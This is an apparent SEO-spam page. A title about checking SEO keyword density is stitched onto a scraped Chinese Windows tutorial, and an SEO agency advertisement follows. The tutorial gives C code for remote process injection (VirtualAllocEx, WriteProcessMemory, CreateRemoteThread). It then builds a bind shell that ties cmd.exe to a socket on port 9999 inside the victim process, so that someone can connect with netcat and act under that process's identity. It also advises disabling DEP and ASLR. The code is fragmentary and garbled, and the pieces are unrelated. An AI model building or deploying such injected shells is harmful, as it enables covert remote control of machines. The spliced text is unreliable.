谷歌SEO

谷歌SEO

Products

当前位置:首页 > 谷歌SEO >

如何通过站长工具查询苏州网站SEO的密度?

96SEO 2026-02-19 11:55 18


ShellCode以及如何将ShellCode注入到特定进程内本章我们将自己实现一个正向ShellCodeShell当进程被注入后则我们可以通过利用NC等工具连接到被注入进程内并以对方的权限及身份执行命令该功能有利于于Shell的隐藏。

如何通过站长工具查询苏州网站SEO的密度?

本章的内容其原理与《运用C语言编写ShellCode代码》中所使用的原理保持一致通过动态定位到我们所需的网络通信函数并以此来构建一个正向Shell本章节内容对Metasploit工具生成的Shell原理的理解能够起到促进作用。

读者需要理解套接字socket是计算机网络中一种特殊的文件是网络通信中的一种技术用于实现进程之间的通信和网络中数据的传输。

在网络通信中套接字就像一条传送数据的管道负责数据的传输和接收。

而socket套接字是在网络通信中最常用的一种通信协议它定义了一组用于网络通信的API。

通过使用socket程序员可以在不同的计算机之间进行通信。

读者可以将两者理解为一个意思。

1.12.1

为了能让读者更清晰的认识功能实现细节首先笔者先来实现一个简单的读取特定模块内函数的入口地址并输出该模块地址的功能需要注意的是在之前的文章中笔者已经介绍了这种读取技术当时使用的是汇编版实现由于需要自定位代码的支持导致汇编语言的实现过于繁琐其实此类代码在应用层实现仅仅只需要调用GetProcAddress()即可获取到核心参数其实先细节如下所示

#include

KernelLoadLibrary;GETPROCADDRESS

}ShellParametros;int

LoadLibrary(kernel32.dll);Param.KernelLoadLibrary

(LOADLIBRARY)GetProcAddress((HINSTANCE)Param.KernelHandle,

LoadLibraryA);Param.KernelGetProcAddress

(GETPROCADDRESS)GetProcAddress((HINSTANCE)Param.KernelHandle,

GetProcAddress);printf(获取到Kernel32.dll

0x%08X

Param.KernelHandle);system(pause);return

}这段代码主要是定义了一个结构体ShellParametros并初始化了其中的一些参数。

该结构体中定义了两个HANDLE类型的变量KernelHandle和UserHandle分别用于存储kernel32.dll和user32.dll的句柄。

同时也定义了两个字符串数组kernelstring和userstring用于存储对应的库名。

接下来定义了两个函数指针类型LOADLIBRARY和GETPROCADDRESS分别用于后续的动态库加载和函数导出操作。

在main函数中首先初始化了ShellParametros结构体类型的变量Param。

然后调用LoadLibrary函数加载kernel32.dll库并通过GetProcAddress函数分别获取LoadLibraryA和GetProcAddress函数的地址并将它们赋值给Param.KernelLoadLibrary和Param.KernelGetProcAddress函数指针变量。

最终打印出获取到的kernel32.dll的基地址以及等待用户按下任意键退出程序。

该代码拆分来看首先是入口处的结构体定义部分这部分定义了一个结构体ShellParametros其中包含了对于kernel32.dll和user32.dll库的操作的句柄和字符串以及相关的函数指针类型LOADLIBRARY和GETPROCADDRESS。

Kernel32

KernelLoadLibrary;GETPROCADDRESS

}ShellParametros;而在主函数中首先声明了一个结构体变量Param然后调用LoadLibrary函数加载kernel32.dll库将得到的句柄存储到Param.KernelHandle中。

接着通过调用GetProcAddress函数获取LoadLibraryA和GetProcAddress函数的地址将得到的函数地址分别存储到Param.KernelLoadLibrary和Param.KernelGetProcAddress中。

最后通过printf函数打印出获取到的Kernel32.dll的基址。

int

LoadLibrary(kernel32.dll);Param.KernelLoadLibrary

(LOADLIBRARY)GetProcAddress((HINSTANCE)Param.KernelHandle,

LoadLibraryA);Param.KernelGetProcAddress

(GETPROCADDRESS)GetProcAddress((HINSTANCE)Param.KernelHandle,

GetProcAddress);printf(获取到Kernel32.dll

0x%08X

Param.KernelHandle);printf(获取到KernelLoadLibrary

0x%08X

Param.KernelLoadLibrary);printf(获取到GetProcAddress

0x%08X

Param.KernelGetProcAddress);system(pause);return

}这段代码没有任何难度相信读者能够理解其实先的核心原理当读者运行此段代码则会分别输出Kernel32.dllLoadLibraryA及GetProcAddress这三个模块函数的基址输出效果如下图所示

1.12.2

通过进程注入功能将一个具有自定位功能的函数的机器码注入到远程进程中并运行输出一个弹窗该功能的输出形式与前几章中的内容很相似但却有本质的不同首先前几章内容中我们注入的数据为纯粹的ShellCode代码此类代码的缺陷在于一旦被生成则在注入时无法动态更改参数而本章实现的注入技术则是动态填充内存并注入从实用价值上来说本章中所演示的注入技术将更加通用及灵活。

动态弹窗的注入技术同样需要定义关键函数指针如下将分别定义三个函数指针这些API函数的函数指针类型定义

LOADLIBRARYLoadLibrary函数的函数指针类型用于将动态链接库(DLL)加载到调用进程的地址空间中。

GETPROCADDRESSGetProcAddress函数的函数指针类型用于从DLL中检索导出函数或变量的地址。

MESSAGEBOXMessageBox函数的函数指针类型用于创建、显示和操作消息框。

WINAPI调用约定指定了如何传递函数参数和清理堆栈。

这些函数指针类型通常用于动态加载DLL和运行时链接导出函数。

通过使用这些函数指针程序可以在运行时获取函数地址并动态调用它们。

Kernel32

uType);接着我们需要定义一个ShellParametros结构体该结构体的作用是用与传递参数到子线程MyShell(ShellParametros*

ptr)中以供其使用当然读者也可以使用普通变量形式只是普通变量在参数传递时没有传递结构方便快捷如下从结构中可看出我们分别传递kernel32.dll,LoadLibrary,GetProcAddress及MessageBoxA的函数地址并附带有该函数弹窗User_MsgBox的提示信息

typedef

Kernel_LoadLibrary;GETPROCADDRESS

User32Base;char

Text[32];}ShellParametros;接着就是关于__stdcall

MyShell(ShellParametros*);函数的封装这是一个用于远程线程的函数定义函数名为MyShell采用__stdcall调用约定。

该函数的参数是一个名为ptr的指向ShellParametros结构体的指针。

1.通过调用ptr-Kernel_LoadLibrary函数动态加载指定的Kernel32和User32库并将它们的句柄保存在ptr-Kernel32Base和ptr-User32Base变量中。

1.使用

函数获取

该函数的作用是在远程线程中动态加载Kernel32和User32库并调用User32库中的MessageBox函数显示指定的文本内容。

void

(HANDLE)(*ptr-Kernel_LoadLibrary)(ptr-KernelString);ptr-User32Base

(HANDLE)(*ptr-Kernel_LoadLibrary)(ptr-UserString);//

\n,

(MESSAGEBOX)(*ptr-KernelGetProcAddress)((HINSTANCE)ptr-UserHandle,

msgbox

(MESSAGEBOX)(*ptr-Kernel_GetProcAddress)((HINSTANCE)ptr-User32Base,

ptr-User_MsgBox);//printf(MessageBox

基地址

}最后我们来看一下在主函数中我们需要做什么在主函数中通过GetProcAddress函数分别得到我们所需要的函数入口地址并通过调用strcpy函数分别将所需参数写出到ShellParametros结构体中保存当一切准备就绪再通过OpenProcess打开远程进程并设置一段读写执行内存空间并调用WriteProcessMemory将MyShell函数写出到该内存中保存最后调用CreateRemoteThread开辟远程线程执行弹窗功能

1.定义了一个ShellParametros类型的变量Param和一个指向ShellParametros结构体的指针remote并声明了一个HANDLE类型的变量hProcess和一个void*类型的变量p。

2.使用LoadLibrary和GetProcAddress函数获取Kernel32库中的LoadLibrary和GetProcAddress函数的地址并将其保存到Param结构体的相应字段中。

3.分别将

kernel32.dll

结构体的相应字段中并将需要注入的代码函数名和文本字符串分别保存到

Param

LoadLibrary(kernel32.dll);Param.Kernel_LoadLibrary

(LOADLIBRARY)GetProcAddress((HINSTANCE)Param.Kernel32Base,

LoadLibraryA);Param.Kernel_GetProcAddress

(GETPROCADDRESS)GetProcAddress((HINSTANCE)Param.Kernel32Base,

GetProcAddress);//

分别获取Kernel32与User32的对应字符串strcpy(Param.KernelString,

kernel32.dll);strcpy(Param.UserString,

user32.dll);strcpy(Param.User_MsgBox,

MessageBoxA);strcpy(Param.Text,

hello

OpenProcess(PROCESS_ALL_ACCESS,

FALSE,

(ShellParametros*)VirtualAllocEx(hProcess,

MEM_COMMIT,

PAGE_READWRITE);WriteProcessMemory(hProcess,

MyShell,

0);WriteProcessMemory(hProcess,

remote,

0);CreateRemoteThread(hProcess,

remote,

}至此读者可以将上述代码编译下来但需要注意的是由于我们采用了动态生成ShellCode的功能所以在使用此类代码是应关闭编译环境中的DEP及ASLR机制否则由于地址的动态变化我们的代码将无法成功定位函数入口也就无法注入Shell

DEPData

Prevention保护是一种防止攻击者在内存中执行恶意代码的技术。

它通过将内存中的数据和代码区分开来从而使得攻击者无法在数据区执行代码。

DEP保护通过硬件和软件两种方式来实现。

硬件实现通过CPU硬件中的NX位禁止在数据区执行代码。

软件实现通过操作系统内核检查每个进程中的内存页面的属性禁止在非执行属性NX页面上执行代码。

ASLRAddress

Randomization是一种防止攻击者利用缓冲区溢出等漏洞攻击的技术。

它通过在每次程序运行时随机地分配内存地址使得攻击者难以确定内存地址的位置从而难以实现攻击。

ASLR可以在操作系统内核、编译器和二进制代码等多个层面实现如在编译时生成随机堆栈和堆地址、加载时随机化内存基地址等。

这两种技术都可以增强操作系统的安全性防止恶意代码的攻击和利用。

DEP保护主要针对代码执行方面ASLR则主要针对代码和数据在内存中的分布方面。

同时两者也有一些弱点和缺陷例如DEP保护可以被一些攻击技术绕过ASLR的随机性可能会被暴力破解或者信息泄露等方式破坏。

因此在实际应用中需要综合考虑多种安全技术以提高系统的安全性。

修改int

ProcessID并改为被注入进程的PID4016然后直接运行注入程序则读者会看到被注入进程弹出了一个MessageBox提示框则说名我们的自定义Shell已经注入成功并运行了

1.12.3

经过前面两个小案例的总结读者应该能够理解如何自己编写一个动态ShellCode注入软件了但是上述提到的这些功能并不具备真正的意义而本章将继续延申并实现一种可被连接的正向ShellShell在此案例中读者需要理解一种绑定技术在默认情况下Windows系统中的每一个进程都存在标准输入、输出和错误流的匿名管道而cmd.exe进程同样存在这三种管道要实现正向Shell一般而言攻击者会创建一个监听指定端口的网络套接字并将其绑定到一个命令行解释器如

cmd.exe的标准输入和输出流上这样攻击者即可通过这个管道来使用远程的CMD命令行并以此达到控制对方的目的。

创建一个监听套接字以便在客户端连接之前等待连接。

监听套接字可以是TCP或UDP类型。

调用bind()函数将监听套接字绑定到本地IP地址和端口上。

这是让客户端知道要连接哪个地址和端口的关键步骤。

调用listen()函数将监听套接字转换为被动套接字并设置等待连接的队列的最大长度。

调用accept()函数来接受客户端连接这将创建一个新的套接字它与客户端套接字相关联。

调用CreateProcess()函数启动cmd.exe进程并将标准输入、输出和错误流重定向到新创建的套接字上。

首先我们需要定义所需要调用的函数指针下方代码定义了一组函数指针每个函数指针都指向一个API函数包括

LoadLibrary、GetProcAddress、Bind、Accept、Listen、WSAStartup、WSASocket、WSAConnect

CreateProcess。

这些函数与动态链接库、套接字通信、网络编程、创建进程等有关。

#include

LPPROCESS_INFORMATION);接着我们需要在原始ShellParametros中进行扩充根据所需函数的多少来定义承载该函数内存地址的指针类型

typedef

KernelLoadLibrary;GETPROCADDRESS

KernelGetProcAddress;CREATEPROCESS

WSAHandle;char

PARAMETROS;接着再来看核心MyShellShell实现函数如下代码实现了一个远程Shell通过动态链接库实现对API函数的调用。

LoadLibrary

WSAStartup、WSASocket、WsaConnect、Bind、Accept、Listen、CreateProcess。

WSAStartup

函数创建一个进程并将标准输入、输出和错误重定向到网络套接字实现远程

void

通过GetProcAddress获取到ws2.dll中的所有函数地址ptr-WSAHandle

(HANDLE)(*ptr-KernelLoadLibrary)(ptr-wsastring);ptr-ShellWsaStartup

(WSASTARTUP)(*ptr-KernelGetProcAddress)((HINSTANCE)ptr-WSAHandle,

ptr-wsastartupstring);ptr-ShellWSASocket

(WSASOCKET)(*ptr-KernelGetProcAddress)((HINSTANCE)ptr-WSAHandle,

ptr-WSASocketString);ptr-ShellWsaConnect

(WSACONNECT)(*ptr-KernelGetProcAddress)((HINSTANCE)ptr-WSAHandle,

ptr-WSAConnectstring);ptr-ShellBind

(BIND)(*ptr-KernelGetProcAddress)((HINSTANCE)ptr-WSAHandle,

ptr-bindstring);ptr-ShellAccept

(ACCEPT)(*ptr-KernelGetProcAddress)((HINSTANCE)ptr-WSAHandle,

ptr-acceptstring);ptr-ShellListen

(LISTEN)(*ptr-KernelGetProcAddress)((HINSTANCE)ptr-WSAHandle,

ptr-listenstring);//

通过GetProcAddress获取到kernel32.dll中的所有函数地址ptr-KernelHandle

(HANDLE)(*ptr-KernelLoadLibrary)(ptr-kernelstring);ptr-KernelCreateProcess

(CREATEPROCESS)(*ptr-KernelGetProcAddress)((HINSTANCE)ptr-KernelHandle,

ptr-CreateProcessstring);ptr-ShellWsaStartup(0x101,

HWSAdata);s

NULL;ptr-KernelCreateProcess(NULL,

ptr-cmd,

}最后再来看一下实现调用的主函数代码中通过argv[1]也就是命令行参数传递并绑定到(unsigned

short)9999端口上通过GetProcAddress依次获取所需函数内存地址并使用strcpy初始化结构体PARAMETROS最后直接调用CreateRemoteThread实现线程Shell反弹。

LoadLibrary

atoi(argv[1]);memset((void*)parametros,

sizeof(PARAMETROS));strncpy(parametros.cmd,

cmd,

获取到动态链接库加载函数地址parametros.KernelHandle

LoadLibrary(kernel32.dll);parametros.KernelLoadLibrary

(LOADLIBRARY)GetProcAddress((HINSTANCE)parametros.KernelHandle,

LoadLibraryA);parametros.KernelGetProcAddress

(GETPROCADDRESS)GetProcAddress((HINSTANCE)parametros.KernelHandle,

GetProcAddress);//

字符串strcpy(parametros.wsastring,

ws2_32.dll);strcpy(parametros.wsastartupstring,

WSAStartup);strcpy(parametros.WSASocketString,

WSASocketW);strcpy(parametros.WSAConnectstring,

WSAConnect);strcpy(parametros.bindstring,

bind);strcpy(parametros.acceptstring,

accept);strcpy(parametros.listenstring,

listen);//

字符串strcpy(parametros.kernelstring,

kernel32.dll);strcpy(parametros.CreateProcessstring,

CreateProcessA);//

OpenProcess(PROCESS_ALL_ACCESS,

FALSE,

(PARAMETROS*)VirtualAllocEx(hProcess,

sizeof(parametros),

PAGE_READWRITE);WriteProcessMemory(hProcess,

MyShell,

0);WriteProcessMemory(hProcess,

remote,

0);CreateRemoteThread(hProcess,

remote,

}编译上述代码片段并找到对应进程PID通过参数MyShell.exe

8624传入被注入进程PID号当注入成功后会提示进程请求联网此时一个不具备网络通信功能的进程因我们注入了ShllShell则自然就具备了网络通信的能力如下图所示

[远程IP地址]

小提示Netcat是一款网络工具也称为nc工具可以在不同的计算机之间进行数据传输。

它可以在命令行中使用并支持TCP/IP和UDP协议其被誉为黑客界的瑞士军刀是每个安全从业者不可或缺的利器。

官方网站https://eternallybored.org/misc/netcat/

当连接到进程内部则会反弹一个CMDShell此时在该CMD下的所有操作都会被标记为宿主进程的操作。

本文作者

https://www.lyshark.com/post/3e10758e.html

版权声明



SEO优化服务概述

作为专业的SEO优化服务提供商,我们致力于通过科学、系统的搜索引擎优化策略,帮助企业在百度、Google等搜索引擎中获得更高的排名和流量。我们的服务涵盖网站结构优化、内容优化、技术SEO和链接建设等多个维度。

百度官方合作伙伴 白帽SEO技术 数据驱动优化 效果长期稳定

SEO优化核心服务

网站技术SEO

  • 网站结构优化 - 提升网站爬虫可访问性
  • 页面速度优化 - 缩短加载时间,提高用户体验
  • 移动端适配 - 确保移动设备友好性
  • HTTPS安全协议 - 提升网站安全性与信任度
  • 结构化数据标记 - 增强搜索结果显示效果

内容优化服务

  • 关键词研究与布局 - 精准定位目标关键词
  • 高质量内容创作 - 原创、专业、有价值的内容
  • Meta标签优化 - 提升点击率和相关性
  • 内容更新策略 - 保持网站内容新鲜度
  • 多媒体内容优化 - 图片、视频SEO优化

外链建设策略

  • 高质量外链获取 - 权威网站链接建设
  • 品牌提及监控 - 追踪品牌在线曝光
  • 行业目录提交 - 提升网站基础权威
  • 社交媒体整合 - 增强内容传播力
  • 链接质量分析 - 避免低质量链接风险

SEO服务方案对比

服务项目 基础套餐 标准套餐 高级定制
关键词优化数量 10-20个核心词 30-50个核心词+长尾词 80-150个全方位覆盖
内容优化 基础页面优化 全站内容优化+每月5篇原创 个性化内容策略+每月15篇原创
技术SEO 基本技术检查 全面技术优化+移动适配 深度技术重构+性能优化
外链建设 每月5-10条 每月20-30条高质量外链 每月50+条多渠道外链
数据报告 月度基础报告 双周详细报告+分析 每周深度报告+策略调整
效果保障 3-6个月见效 2-4个月见效 1-3个月快速见效

SEO优化实施流程

我们的SEO优化服务遵循科学严谨的流程,确保每一步都基于数据分析和行业最佳实践:

1

网站诊断分析

全面检测网站技术问题、内容质量、竞争对手情况,制定个性化优化方案。

2

关键词策略制定

基于用户搜索意图和商业目标,制定全面的关键词矩阵和布局策略。

3

技术优化实施

解决网站技术问题,优化网站结构,提升页面速度和移动端体验。

4

内容优化建设

创作高质量原创内容,优化现有页面,建立内容更新机制。

5

外链建设推广

获取高质量外部链接,建立品牌在线影响力,提升网站权威度。

6

数据监控调整

持续监控排名、流量和转化数据,根据效果调整优化策略。

SEO优化常见问题

SEO优化一般需要多长时间才能看到效果?
SEO是一个渐进的过程,通常需要3-6个月才能看到明显效果。具体时间取决于网站现状、竞争程度和优化强度。我们的标准套餐一般在2-4个月内开始显现效果,高级定制方案可能在1-3个月内就能看到初步成果。
你们使用白帽SEO技术还是黑帽技术?
我们始终坚持使用白帽SEO技术,遵循搜索引擎的官方指南。我们的优化策略注重长期效果和可持续性,绝不使用任何可能导致网站被惩罚的违规手段。作为百度官方合作伙伴,我们承诺提供安全、合规的SEO服务。
SEO优化后效果能持续多久?
通过我们的白帽SEO策略获得的排名和流量具有长期稳定性。一旦网站达到理想排名,只需适当的维护和更新,效果可以持续数年。我们提供优化后维护服务,确保您的网站长期保持竞争优势。
你们提供SEO优化效果保障吗?
我们提供基于数据的SEO效果承诺。根据服务套餐不同,我们承诺在约定时间内将核心关键词优化到指定排名位置,或实现约定的自然流量增长目标。所有承诺都会在服务合同中明确约定,并提供详细的KPI衡量标准。

SEO优化效果数据

基于我们服务的客户数据统计,平均优化效果如下:

+85%
自然搜索流量提升
+120%
关键词排名数量
+60%
网站转化率提升
3-6月
平均见效周期

行业案例 - 制造业

  • 优化前:日均自然流量120,核心词无排名
  • 优化6个月后:日均自然流量950,15个核心词首页排名
  • 效果提升:流量增长692%,询盘量增加320%

行业案例 - 电商

  • 优化前:月均自然订单50单,转化率1.2%
  • 优化4个月后:月均自然订单210单,转化率2.8%
  • 效果提升:订单增长320%,转化率提升133%

行业案例 - 教育

  • 优化前:月均咨询量35个,主要依赖付费广告
  • 优化5个月后:月均咨询量180个,自然流量占比65%
  • 效果提升:咨询量增长414%,营销成本降低57%

为什么选择我们的SEO服务

专业团队

  • 10年以上SEO经验专家带队
  • 百度、Google认证工程师
  • 内容创作、技术开发、数据分析多领域团队
  • 持续培训保持技术领先

数据驱动

  • 自主研发SEO分析工具
  • 实时排名监控系统
  • 竞争对手深度分析
  • 效果可视化报告

透明合作

  • 清晰的服务内容和价格
  • 定期进展汇报和沟通
  • 效果数据实时可查
  • 灵活的合同条款

我们的SEO服务理念

我们坚信,真正的SEO优化不仅仅是追求排名,而是通过提供优质内容、优化用户体验、建立网站权威,最终实现可持续的业务增长。我们的目标是与客户建立长期合作关系,共同成长。

提交需求或反馈

Demand feedback